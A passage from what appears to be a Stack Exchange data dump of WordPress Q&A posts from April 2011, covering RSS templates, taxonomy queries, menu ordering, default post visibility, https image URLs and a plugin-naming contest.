change.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So at this point, I thought, OK, cool, I'm finally breaking through the cache.  I changed the line back to: &lt;code&gt;&amp;lt;title&amp;gt;This is a Test&amp;lt;/title&amp;gt;&lt;/code&gt;, but saw outputted &lt;code&gt;&amp;lt;title&amp;gt;New Grocery Coupons &amp;amp; Online Coupons Added Daily&amp;lt;/title&amp;gt;&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So that's where I am.  I've got literally no clue what the problem could be at this point.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's one more weird thing to know, though.  When I changed the &lt;code&gt;&amp;lt;title&amp;gt;&lt;/code&gt; tags to &lt;code&gt;&amp;lt;test&amp;gt;&lt;/code&gt;, and &lt;em&gt;did&lt;/em&gt; see the change made on line 12, the &lt;em&gt;next&lt;/em&gt; title tags (at channel-&gt;item-&gt;title at line 22) changed to read &lt;code&gt;&amp;lt;title&amp;gt;New Grocery Coupons &amp;amp; Online Coupons Added Daily&amp;lt;/title&amp;gt;&lt;/code&gt; - ie, the troublesome output from line 12!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My best guess is that there is some Wordpress filter that I don't know about that's operating on this output, but I'm really stumped at this point.  Any light you guys could shed on this problem would be very much appreciated!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks in advance.&lt;/p&gt;&#xA;" OwnerUserId="4758" LastActivityDate="2011-04-18T17:09:46.810" Title="Bizarre issue with custom RSS template" Tags="&lt;template&gt;&lt;rss&gt;" AnswerCount="1" />
  <row Id="15039" PostTypeId="2" ParentId="15038" CreationDate="2011-04-18T17:09:46.810" Score="0" ViewCount="" Body="&lt;blockquote&gt;&#xA;  &lt;p&gt;First off, as background context, after a lot of Googling, this is the method I've chosen to create the RSS template. (If there's a better approach, I'm all ears):&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Second time this comes up today. :) You should use &lt;code&gt;add_feed()&lt;/code&gt; ( &lt;a href=&quot;http://core.trac.wordpress.org/browser/tags/3.1.1/wp-includes/rewrite.php#L62&quot; rel=&quot;nofollow&quot;&gt;source&lt;/a&gt; ) rather emulate this stuff with page.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As for issue you describe I am not sure. If caching is involved I'd try to test stuff on separate local test installation.&lt;/p&gt;&#xA;" OwnerUserId="847" LastActivityDate="2011-04-18T17:09:46.810" CommentCount="1" />
  <row Id="15040" PostTypeId="1" AcceptedAnswerId="15045" CreationDate="2011-04-18T17:20:56.353" Score="0" ViewCount="109" Body="&lt;p&gt;i have a custom post type name 'business' and taxonomy 'business-category'. now i want to show posts for some specific terms suppost, term1, term2, term3 etc. The following code is working for me but for only one term.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;  $args=array(&#xA;    'taxonomy' =&amp;gt; 'business-category',&#xA;    'term' =&amp;gt; 'term1',&#xA;    'post_type' =&amp;gt; 'business',&#xA;    'orderby'=&amp;gt; 'rand',&#xA;    );&#xA;  query_posts($args);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I need to pass array of terms. When i try to pass array of terms instead of one term it not working :(&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;   $args=array(&#xA;    'taxonomy' =&amp;gt; 'business-category',&#xA;    'term' =&amp;gt; array('term1', 'term2', 'term3'),&#xA;    'post_type' =&amp;gt; 'business',&#xA;    'orderby'=&amp;gt; 'rand',&#xA;    );&#xA;  query_posts($args);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I also want to know how can i show post if i want to show from multiple taxonomy as well.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks!&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;Resolved: &lt;/p&gt;&#xA;&#xA;&lt;p&gt;the query args will be:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    $args=array(&#xA;            'tax_query' =&amp;gt; array(&#xA;                          array(&#xA;                                'taxonomy' =&amp;gt; 'business-category',&#xA;                                'field' =&amp;gt; 'slug',&#xA;                                'terms' =&amp;gt; array( 'bars', 'restaurants' )&#xA;                           )&#xA;          );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Thanks!&lt;/p&gt;&#xA;" OwnerUserId="3094" LastEditorUserId="3094" LastEditorDisplayName="" LastEditDate="2011-04-19T17:59:42.590" LastActivityDate="2011-04-19T17:59:42.590" Title="Showing posts by collection of specific terms and texonomy" Tags="&lt;custom-taxonomy&gt;&lt;query-posts&gt;&lt;terms&gt;&lt;custom-post-types&gt;" AnswerCount="1" />
  <row Id="15041" PostTypeId="1" CreationDate="2011-04-18T17:22:53.990" Score="0" ViewCount="92" Body="&lt;p&gt;I am trying to write a function that will allow me to specify a post ID and a blog ID, and then have it return the permalink and title of the blog post.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I need this to be efficient because the function will be used in a foreach loop that could cause the function to run upwards of 50 times.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any ideas?&lt;/p&gt;&#xA;" OwnerUserId="2418" LastActivityDate="2011-04-18T17:22:53.990" Title="Get Permalink of Network Blog Post" Tags="&lt;multisite&gt;&lt;network&gt;&lt;blog-id&gt;&lt;permalink&gt;" CommentCount="2" />
  <row Id="15042" PostTypeId="1" AcceptedAnswerId="15077" CreationDate="2011-04-18T17:23:46.117" Score="0" ViewCount="82" Body="&lt;p&gt;What is the best practice for adding google conversion tracking code to a specific page?&lt;/p&gt;&#xA;" OwnerUserId="2774" LastActivityDate="2011-04-19T19:16:06.467" Title="google conversion code" Tags="&lt;plugins&gt;&lt;seo&gt;&lt;google-analytics&gt;" AnswerCount="1" />
  <row Id="15043" PostTypeId="2" ParentId="14387" CreationDate="2011-04-18T17:28:07.010" Score="0" ViewCount="" Body="&lt;p&gt;Thanks for the help, but in the end I think the problem was the 'post__in' parameter can't be used in get_posts like I wanted. As per the &lt;a href=&quot;http://codex.wordpress.org/Template_Tags/get_posts&quot; rel=&quot;nofollow&quot;&gt;codex for get_posts&lt;/a&gt;, 'include' is the way to do it.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$relatedpages = get_post_meta($post-&amp;gt;ID, 'relatedpages', true);&#xA;&#xA;$args = array(&#xA;    'post_type'             =&amp;gt; 'page',&#xA;    'posts_per_page'        =&amp;gt; -1,&#xA;    'order'             =&amp;gt; 'ASC',&#xA;    'orderby'           =&amp;gt; 'menu_order',&#xA;    'include'           =&amp;gt; $relatedpages&#xA;    );&#xA;&#xA;$myposts = get_posts($args);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Thanks anyway!&lt;/p&gt;&#xA;" OwnerUserId="4562" LastActivityDate="2011-04-18T17:28:07.010" />
  <row Id="15044" PostTypeId="1" AcceptedAnswerId="15048" CreationDate="2011-04-18T17:34:39.473" Score="1" ViewCount="219" Body="&lt;p&gt;Hey Guys,&#xA;I'm trying to build a right aligned, wrapping capable wp_nav_menu powered menu.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a way to have it rendered backwards, so that float: right; would work and not mess up the order?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I was hoping for something like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php wp_nav_menu( array('sort_order' =&amp;gt; 'DESC' )); ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Thanks!&lt;/p&gt;&#xA;" OwnerUserId="4562" LastActivityDate="2011-04-18T17:45:41.217" Title="wp_nav_menu sort order?" Tags="&lt;theme-development&gt;&lt;custom-menus&gt;" AnswerCount="1" />
  <row Id="15045" PostTypeId="2" ParentId="15040" CreationDate="2011-04-18T17:38:03.997" Score="0" ViewCount="" Body="&lt;p&gt;I believe the array will work using terms, rather than term (plural)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://codex.wordpress.org/Function_Reference/WP_Query#Taxonomy_Parameters&quot; rel=&quot;nofollow&quot;&gt;http://codex.wordpress.org/Function_Reference/WP_Query#Taxonomy_Parameters&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Has a lot of useful info for mutiple terms/multiple taxonomies&lt;/p&gt;&#xA;&#xA;&lt;p&gt;but basically look into the tax_query item, specifically AND or OR operators. It's all explained there pretty well&lt;/p&gt;&#xA;" OwnerUserId="3429" LastActivityDate="2011-04-18T17:38:03.997" CommentCount="2" />
  <row Id="15046" PostTypeId="1" AcceptedAnswerId="15059" CreationDate="2011-04-18T17:42:08.853" Score="1" ViewCount="138" Body="&lt;p&gt;I'm trying to create a plugin that alters the Add New Post page so the Visibility field says &quot;Private&quot; by default:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Status: Draft&#xA;Visibility: **Private**&#xA;Publish immediately&#xA;&#xA;[Publish]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;...as opposed to what WordPress normally assumes:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Status: Draft&#xA;Visibility: **Public**&#xA;Publish immediately&#xA;&#xA;[Publish]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;At the moment, I'm using the &quot;wp_insert_post_data&quot; filter, and that is allowing me to change any posts with a post_status of &quot;auto-draft&quot; to &quot;private&quot;. While this works, there is an unintended side-effect: Changing the post_status to &quot;private&quot; seems to publish the post automatically, changing the button in the editor to &quot;Update&quot;. Furthermore, if the user saves before specifying a title, the post will be published with the title &quot;Auto-Draft&quot;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there any way I can simply change Visibility to Private by the default, in a manner that doesn't auto-publish the post, and change the button to &quot;Update&quot;? In vanilla WordPress, users can manually change the visibility to Private, and the button remains as Publish... I just need to achieve that via a plugin. I also want to ensure that &quot;public&quot; can still be selected by the user, should they desire to.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks!&lt;/p&gt;&#xA;" OwnerUserId="2399" LastEditorUserId="2399" LastEditorDisplayName="" LastEditDate="2011-04-18T17:47:41.850" LastActivityDate="2011-06-22T20:32:19.527" Title="How can I make it so the Add New Post page has Visibility set to Private by default?" Tags="&lt;plugins&gt;&lt;plugin-development&gt;&lt;posts&gt;&lt;publish&gt;&lt;private&gt;" AnswerCount="1" />
  <row Id="15047" PostTypeId="1" AcceptedAnswerId="15290" CreationDate="2011-04-18T17:42:14.127" Score="7" ViewCount="290" Body="&lt;p&gt;It's been a while since I've done a bounty challenge, so here's another.  Same basic rules: 1 answer per person, most creative/useful/helpful/entertaining answer wins. This time around, the award will be 50 reputation points via a &lt;a href=&quot;http://wordpress.stackexchange.com/faq#bounty&quot;&gt;Bounty&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This challenge is for my in-development plugin, &lt;strong&gt;Crossfire&lt;/strong&gt;.&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;Plugin Purpose&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;Allows authors of multiple sites on a multisite network to cross-post their content from one site to another.&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;How it Works&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;Authors write a post as usual on the primary site.  Then they select the sites to cross-post from a meta box.  WordPress uses a custom post type to keep track of the cross-posted content on the sister sites.&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;Endgame&lt;/h2&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Visitors to both the main site and the sister sites will see the new post at the top of the page.&lt;/li&gt;&#xA;&lt;li&gt;Comments on one site are automatically mirrored to all the others.&lt;/li&gt;&#xA;&lt;li&gt;Feed subscribers will only see the new post in the original site's feed.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;As I said, the plugin will be called &lt;strong&gt;Crossfire&lt;/strong&gt;, but I need a creative name for the  custom post type used on sister sites (where the post content is imported).  Calling them &quot;posts&quot; isn't accurate since they won't show up in the site's feed.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, give me your best ideas and the &lt;em&gt;best&lt;/em&gt; of the best will be awarded 50 reputation points!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Contest ends Friday, April 23 at 19:00 UTC (12:00 Pacific).&lt;/p&gt;&#xA;" OwnerUserId="46" LastActivityDate="2011-06-06T20:42:13.110" Title="The Great Plugin Nomenclature Contest of 2011" Tags="&lt;custom-post-types&gt;&lt;plugin-development&gt;&lt;challenge&gt;" AnswerCount="17" CommentCount="5" FavoriteCount="2" />
  <row Id="15048" PostTypeId="2" ParentId="15044" CreationDate="2011-04-18T17:45:41.217" Score="0" ViewCount="" Body="&lt;p&gt;You could write a custom walker for your &lt;code&gt;wp_nav_menu()&lt;/code&gt; call. Short of that, I don't think there's anyway to do what you're trying to do.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You could pass such arguments to your fallback function (e.g. &lt;code&gt;wp_list_pages()&lt;/code&gt; or &lt;code&gt;wp_page_menu()&lt;/code&gt;), but the list-item order of &lt;code&gt;wp_nav_menu()&lt;/code&gt; is entirely dependent upon the user-defined menu applied to the given menu location.&lt;/p&gt;&#xA;" OwnerUserId="3966" LastActivityDate="2011-04-18T17:45:41.217" CommentCount="1" />
  <row Id="15049" PostTypeId="1" CreationDate="2011-04-18T17:51:19.570" Score="0" ViewCount="76" Body="&lt;p&gt;Using BP theres a way to:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;1. On login redirect to member profile.&#xA;&#xA;2. On logout redirect to facebook.com&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Thanks in advance.&lt;/p&gt;&#xA;" OwnerUserId="2011" LastActivityDate="2011-04-18T17:51:19.570" Title="BuddyPress - Redirects on Login and Logout" Tags="&lt;redirect&gt;" />
  <row Id="15050" PostTypeId="1" CreationDate="2011-04-18T17:51:44.157" Score="3" ViewCount="126" Body="&lt;p&gt;Is it possible to use the &quot;Insert/edit link&quot; dialog box outside of TinyMCE?  For example, if I wanted to add that dialog box to a generic button within a plugin settings form, is it possible to include just the portion of the TinyMCE that is required to make it work?&lt;/p&gt;&#xA;" OwnerUserId="3032" LastActivityDate="2011-08-17T10:25:54.457" Title="Utilize TinyMCE hyperlink chooser outside of TinyMCE" Tags="&lt;plugin-development&gt;&lt;custom-field&gt;&lt;tinymce&gt;" AnswerCount="1" FavoriteCount="2" />
  <row Id="15051" PostTypeId="2" ParentId="15047" CreationDate="2011-04-18T17:53:11.007" Score="2" ViewCount="" Body="&lt;h2&gt;&lt;strong&gt;CFpost&lt;/strong&gt;&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;admittedly not very creative&lt;/em&gt;&lt;/p&gt;&#xA;" OwnerUserId="49" LastActivityDate="2011-04-18T17:53:11.007" />
  <row Id="15052" PostTypeId="2" ParentId="15047" CreationDate="2011-04-18T17:54:24.750" Score="5" ViewCount="" Body="&lt;h1&gt;&lt;strong&gt;FirePost&lt;/strong&gt;&lt;/h1&gt;&#xA;" OwnerUserId="49" LastActivityDate="2011-04-18T17:54:24.750" CommentCount="1" />
  <row Id="15053" PostTypeId="1" AcceptedAnswerId="15058" CreationDate="2011-04-18T17:57:58.427" Score="1" ViewCount="144" Body="&lt;p&gt;My site requires the use of https for all img src HTML. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is the WordPress function I'm using to display images:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;img src=&quot;'.get_bloginfo(&quot;template_url&quot;).'/images/thumb-default.gif&quot; /&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This outputs an http img src - how can I convert that to https? &lt;/p&gt;&#xA;" OwnerUserId="3711" LastActivityDate="2011-04-18T18:30:31.117" Title="Use https for img src" Tags="&lt;https&gt;&lt;img&gt;" AnswerCount="2" />
  <row Id="15054" PostTypeId="2" ParentId="15047" CreationDate="2011-04-18T18:05:30.033" Score="1" ViewCount="" Body="&lt;p&gt;Something like:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Site 2 Post&lt;/p&gt;&#xA;&#xA;&lt;p&gt;or&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Web 2 Post&lt;/p&gt;&#xA;" OwnerUserId="4610" LastActivityDate="2011-04-18T18:05:30.033" />
  <row Id="15055" PostTypeId="2" ParentId="15047" CreationDate="2011-04-18T18:05:57.470" Score="8" ViewCount="" Body="&lt;p&gt;SPARKS&lt;/p&gt;&#xA;&#xA;&lt;p&gt;(I was thinking Flames....but that's kinda negative in the interwebs world, no?)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a way to not have to post 30 characters??&lt;/p&gt;&#xA;" OwnerUserId="3429" LastActivityDate="2011-04-18T18:05:57.470" CommentCount="2" />
  <row Id="15056" PostTypeId="2" ParentId="15047" CreationDate="2011-04-18T18:06:42.063" Score="1" ViewCount="" Body="&lt;p&gt;XPost, XSPost, XSP&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Idea from XSS. Cross Site Posting -&gt; XSPost&lt;/p&gt;&#xA;" OwnerUserId="4610" LastActivityDate="2011-04-18T18:06:42.063" />
  <row Id="15057" PostTypeId="2" ParentId="15053" CreationDate="2011-04-18T18:07:16.977" Score="0" ViewCount="" Body="&lt;p&gt;Had you checked this when requesting page via &lt;code&gt;http&lt;/code&gt; or &lt;code&gt;https&lt;/code&gt; link? What does &lt;a href=&quot;http://codex.wordpress.org/Function_Reference/is_ssl&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;is_ssl()&lt;/code&gt;&lt;/a&gt; return for you?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I don't have SSL-capable stack to test at moment, but I am pretty sure that WP functions that put together links should be aware of SSL and output correct version.&lt;/p&gt;&#xA;" OwnerUserId="847" LastActivityDate="2011-04-18T18:07:16.977" CommentCount="2" />
  <row Id="15058" PostTypeId="2" ParentId="15053" CreationDate="2011-04-18T18:11:00.297" Score="3" ViewCount="" Body="&lt;p&gt;WordPress checks the return value of &lt;code&gt;is_ssl()&lt;/code&gt; before creating URLs using &lt;code&gt;get_bloginfo()&lt;/code&gt;.  If the function returns true, it creates https URLs.  If it returns false, it creates http URLs.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;From the WordPress source ...&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function is_ssl() {&#xA;    if ( isset($_SERVER['HTTPS']) ) {&#xA;        if ( 'on' == strtolower($_SERVER['HTTPS']) )&#xA;            return true;&#xA;        if ( '1' == $_SERVER['HTTPS'] )&#xA;            return true;&#xA;    } elseif ( isset($_SERVER['SERVER_PORT']) &amp;amp;&amp;amp; ( '443' == $_SERVER['SERVER_PORT'] ) ) {&#xA;        return true;&#xA;    }&#xA;    return false;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;So ... if the request was made over https or if the request came in over port 443, then &lt;code&gt;get_bloginfo()&lt;/code&gt; will return an &lt;code&gt;https://&lt;/code&gt; URL.  In reality, if you're forcing https anyway, you should force all requests to port 80 (http) over to port 443 (https) ... but that's a server configuration issue, not a WordPress issue.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Alternatively, you could hook into a filter and replace http with https ...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Just use:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function replace_http( $original ) {&#xA;    // use preg_replace() to replace http:// with https://&#xA;    $output = preg_replace( &quot;^http:&quot;, &quot;https:&quot;, $original );&#xA;    return $output;&#xA;}&#xA;&#xA;add_filter( 'template_url', 'replace_http' );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="46" LastEditorUserId="46" LastEditorDisplayName="" LastEditDate="2011-04-18T18:30:31.117" LastActivityDate="2011-04-18T18:30:31.117" CommentCount="4" />
  <row Id="15059" PostTypeId="2" ParentId="15046" CreationDate="2011-04-18T18:11:47.417" Score="0" ViewCount="" Body="&lt;p&gt;since you're developing a plug-in, I assume you don't want to touch any files outside of wp-content/plugins or ../themes for that matter.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, if that's not the case, follow along:&lt;br /&gt;&#xA;Go to wp-admin/includes/meta-boxes.php and find:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$visibility = 'public';&#xA;$visibility_trans = __('Public');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Now change it to the obvious:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$visibility = 'private';&#xA;$visibility_trans = __('Private');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Again, this affects the meta-boxes.php file which is outside of the plugins folder. Nonetheless, I think the approach you should be taking is &lt;strong&gt;creating a new meta box, adding your custom visibility setting (i.e. private) and make the latter override the default WP visibility setting&lt;/strong&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Best,&lt;br /&gt;&#xA;Chris&lt;/p&gt;&#xA;" OwnerUserId="4513" LastEditorUserId="46" LastEditorDisplayName="" LastEditDate="2011-06-22T20:32:19.527" LastActivityDate="2011-06-22T20:32:19.527" CommentCount="2" />
  <row Id="15060" PostTypeId="2" ParentId="15034" CreationDate="2011-04-18T18:23:44.913" Score="1" ViewCount="" Body="&lt;p&gt;Off the top of my head:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://blog.ted.com/&quot; rel=&quot;nofollow&quot;&gt;TED&lt;/a&gt; &lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://blogs.wsj.com/law/&quot; rel=&quot;nofollow&quot;&gt;Wall Street Journal&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://www.techcrunch.com&quot; rel=&quot;nofollow&quot;&gt;TechCrunch&lt;/a&gt; &lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://ac360.blogs.cnn.com/&quot; rel=&quot;nofollow&quot;&gt;Anderson Cooper 360&lt;/a&gt; &lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://www.mashable.com&quot; rel=&quot;nofollow&quot;&gt;Mashable&lt;/a&gt; &lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://www.gigaom.com&quot; rel=&quot;nofollow&quot;&gt;GigaOM&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;Official blogs for &lt;a href=&quot;http://ebayinkblog.com/&quot; rel=&quot;nofollow&quot;&gt;eBay&lt;/a&gt;, &lt;a href=&quot;http://ycorpblog.com/&quot; rel=&quot;nofollow&quot;&gt;Yahoo&lt;/a&gt;, &lt;a href=&quot;http://www.thefordstory.com/&quot; rel=&quot;nofollow&quot;&gt;Ford&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;I'm sure there are many more I haven't thought of, I remember seeing several other magazine-style websites that looked very Wordpress-y.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;An easy way to check if a site is running WordPress (besides looking at the source, I suppose), is to type &quot;/wp-admin&quot; after the root URL.  If they haven't customized their HTTP configuration, that should take you to a WordPress login screen.&lt;/p&gt;&#xA;" OwnerUserId="3298" LastActivityDate="2011-04-18T18:23:44.913" />
  <row Id="15061" PostTypeId="1" CreationDate="2011-04-18T18:30:32.300" Score="0" ViewCount="117" Body="&lt;p&gt;My issue is prety much what the title indicates. Whenever I publish a new post, everything works fine - the post is listed in my WP dashboard and all looks good. However, if I try to 'view post' to view it live on my website, &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've searched for this issue throughout the net, and all point into editing the .htaccess file. However, this issue is more likely related to a theme I've developed (why? because several buyers have reported this issue, so I need to find a fix for the theme itself).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;That said, editing or manipulating the root .htaccess file is not really an option as the issue is originated in my theme.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Best,&lt;br /&gt;&#xA;Chris&lt;/p&gt;&#xA;" OwnerUserId="4513" LastActivityDate="2011-04-18T20:22:02.563" Title="404 error after publishing a post" Tags="&lt;posts&gt;&lt;404-error&gt;" AnswerCount="1" CommentCount="4" />
  <row Id="15062" PostTypeId="2" ParentId="15034" CreationDate="2011-04-18T18:40:57.763" Score="1" ViewCount="" Body="&lt;p&gt;Just take a look here:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://vip.wordpress.com/clients/&quot; rel=&quot;nofollow&quot;&gt;http://vip.wordpress.com/clients/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://wordpress.org/showcase/&quot; rel=&quot;nofollow&quot;&gt;http://wordpress.org/showcase/&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="205" LastEditorUserId="205" LastEditorDisplayName="" LastEditDate="2011-04-18T18:47:36.990" LastActivityDate="2011-04-18T18:47:36.990" />
  <row Id="15063" PostTypeId="2" ParentId="14822" CreationDate="2011-04-18T18:47:55.983" Score="2" ViewCount="" Body="&lt;p&gt;Some plugins that will help you, I reviewed some custom post type/meta box plugins a while back and I consider these very solid:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Custom Post Type UI&#xA;&lt;a href=&quot;http://wordpress.org/extend/plugins/custom-post-type-ui/&quot; rel=&quot;nofollow&quot;&gt;http://wordpress.org/extend/plugins/custom-post-type-ui/&lt;/a&gt;  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Pods CMS (php knowledge required)&#xA;&lt;a href=&quot;http://wordpress.org/extend/plugins/pods/&quot; rel=&quot;nofollow&quot;&gt;http://wordpress.org/extend/plugins/pods/&lt;/a&gt;    &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Custom Field Template&#xA;&lt;a href=&quot;http://wordpress.org/extend/plugins/custom-field-template/&quot; rel=&quot;nofollow&quot;&gt;http://wordpress.org/extend/plugins/custom-field-template/&lt;/a&gt;    &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Multiple content blocks&#xA;&lt;a href=&quot;http://wordpress.org/extend/plugins/multiple-content-blocks/&quot; rel=&quot;nofollow&quot;&gt;http://wordpress.org/extend/plugins/multiple-content-blocks/&lt;/a&gt;    &lt;/p&gt;&#xA;&#xA;&lt;p&gt;WordPress Reusables&#xA;&lt;a href=&quot;http://wordpress.org/extend/plugins/reusables/&quot; rel=&quot;nofollow&quot;&gt;http://wordpress.org/extend/plugins/reusables/&lt;/a&gt;    &lt;/p&gt;&#xA;" OwnerUserId="1509" LastActivityDate="2011-04-18T18:47:55.983" CommentCount="1" />
  <row Id="15064" PostTypeId="1" CreationDate="2011-04-18T18:57:10.887" Score="0" ViewCount="28" Body="&lt;p&gt;I have a pretty hefty WordPress install that recently began no loner displaying menu items within the nav_menu editor. The menus still exist and work great but are visually not available in the editor. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I deactivated all plugins, repaired the db, and checked to make sure that I can make new menus. I cannot add to an existent menu. However, everything else seemed to work fine and no Javascript errors are appearing in the console. Any idea why this would happen?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;http://i.stack.imgur.com/njjVO.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;http://i.stack.imgur.com/JdKKw.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="3296" LastActivityDate="2011-04-18T18:57:10.887" Title="Nav_menus editor appearing blank" Tags="&lt;navigation&gt;&lt;menus&gt;" CommentCount="3" />
  <row Id="15065" PostTypeId="2" ParentId="15036" CreationDate="2011-04-18T19:03:04.477" Score="0" ViewCount="" Body="&lt;p&gt;Alright, what you'll need to do here is separate the header into it's own wrapper. What I did to get this to work is to close the #wrapper div right after you close the #header div and start a new div with the same class hfeed and a new ID other than wrapper.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Should look like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;div class=&quot;hfeed&quot; id=&quot;wrapper&quot;&amp;gt;&#xA;    &amp;lt;div id=&quot;header&quot;&amp;gt;&#xA;        &amp;lt;div id=&quot;logo&quot;&amp;gt;...&#xA;        (stuff in here)&#xA;    &amp;lt;/div&amp;gt;&amp;lt;!-- #header --&amp;gt;&#xA;&amp;lt;/div&amp;gt;&#xA;&amp;lt;div class=&quot;hfeed&quot; id=&quot;wrapper-lower&quot;&amp;gt;&#xA;    &amp;lt;div id=&quot;main&quot;&amp;gt;&#xA;        &amp;lt;div id=&quot;container&quot;&amp;gt;...&#xA;        (so on, so forth)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Now if you apply position:fixed to the #wrapper element, you'll get the desired effect. You will still need to change the way your graphics work to really sell the effect. I might suggest using a .png where everything under the red line of the swoosh is transparent. The file size will be much bigger, but if this is the only large image you are using, you'll be fine.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Almost forgot! You'll also need to apply a top padding to #wrapper-lower in order to push it down past the fixed element. The padding-top of #wrapper-lower should be the same as the total height of #header.&lt;/p&gt;&#xA;" OwnerUserId="4282" LastActivityDate="2011-04-18T19:03:04.477" CommentCount="3" />
